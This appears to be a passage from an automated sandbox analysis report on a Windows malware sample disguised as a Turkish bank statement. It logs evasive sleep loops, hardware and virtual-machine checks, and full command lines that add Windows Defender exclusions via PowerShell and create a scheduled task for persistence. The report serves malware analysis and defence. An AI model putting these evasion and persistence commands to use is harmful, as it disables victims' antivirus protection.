Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1195671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1195562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1195453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1195343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1195219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1195059s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1194953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1194843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1194734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1194624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1194515s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 6504	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 2576	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -31359464925306218s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1200000s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1199874s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 2360	Thread sleep count: 7411 > 30
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 2360	Thread sleep count: 2449 > 30
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1199765s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1199656s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1199546s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1199437s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1199328s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1199218s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1199109s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1198999s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1198890s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1198662s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1198531s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1198421s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1198312s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1198202s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1198092s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1197984s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1197874s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1197765s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1197655s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1197546s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1197429s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1197312s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1197203s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1197093s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1196984s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1196874s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1196764s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1196656s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1196546s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1196437s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1196328s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1196218s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1196109s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1195999s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1195888s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1195781s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1195671s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1195562s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1195453s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1195343s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1195234s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1195124s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1195014s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1194906s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1194796s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1194687s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1194559s >= -30000s
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe TID: 5820	Thread sleep time: -1194452s >= -30000s

Source: C:\Users\user\Desktop\hesaphareketi-.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\hesaphareketi-.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\hesaphareketi-.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199890	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199781	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199671	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199562	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199453	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199343	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199234	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199125	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199015	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198906	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198796	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198687	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198577	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198468	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198359	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198249	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198140	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198030	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197921	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197802	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197683	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197562	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197452	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197343	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197209	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197093	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196984	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196874	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196765	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196656	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196546	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196437	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196328	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196218	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196109	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195890	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195781	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195671	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195562	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195453	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195343	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195219	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195059	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1194953	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1194843	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1194734	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1194624	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1194515	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1200000
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199874
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199765
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199656
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199546
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199437
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199328
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199218
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199109
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198999
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198890
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198662
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198531
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198421
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198312
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198202
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198092
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197984
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197874
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197765
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197655
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197546
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197429
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197312
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197203
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197093
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196984
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196874
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196764
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196656
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196546
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196437
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196328
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196218
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196109
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195999
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195888
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195781
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195671
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195562
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195453
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195343
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195234
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195124
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195014
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1194906
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1194796
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1194687
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1194559
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1194452

Source: hesaphareketi-.exe, 00000008.00000002.4488496457.000000000134E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllstringVirtualizationFirmwareEnabled
Source: xyodEPhulIrkY.exe, 0000000D.00000002.4489177545.0000000000F68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe"
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe"
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe"	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe"	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe"	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe"	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Users\user\Desktop\hesaphareketi-.exe "C:\Users\user\Desktop\hesaphareketi-.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpBF7D.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process created: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe "C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe"	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Users\user\Desktop\hesaphareketi-.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
